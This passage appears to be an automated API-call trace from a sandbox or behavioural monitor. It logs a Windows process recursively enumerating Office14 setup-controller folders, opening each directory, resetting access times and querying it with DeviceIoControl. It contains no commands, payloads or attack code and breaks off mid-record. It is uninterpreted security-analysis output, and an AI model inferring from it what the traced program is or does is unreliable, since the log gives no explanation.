(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.877] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0235.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0235.965] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0235.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x908be0 [0235.965] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x908be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x908be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0235.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x908be0) returned 1 [0235.965] NtClose (Handle=0x1b4) returned 0x0 [0235.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0235.966] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0235.966] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.966] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904ad8 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907120 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904af8 [0235.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907228 [0235.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0235.967] GetLastError () returned 0x12 [0235.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0235.967] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0235.967] GetLastError () returned 0x12 [0235.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0235.967] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.967] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0235.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.967] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.063] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x908be0 [0236.064] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x908be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x908be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x908be0) returned 1 [0236.064] NtClose (Handle=0x1b8) returned 0x0 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.064] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.064] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904b18 [0236.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907330 [0236.064] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.064] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904b38 [0236.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907438 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.065] GetLastError () returned 0x12 [0236.065] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.065] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.065] GetLastError () returned 0x12 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.065] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.065] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.065] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0236.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0236.248] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x908be0 [0236.249] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x908be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x908be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x908be0) returned 1 [0236.249] NtClose (Handle=0x1b4) returned 0x0 [0236.262] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.276] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.276] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.277] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904b58 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907540 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, 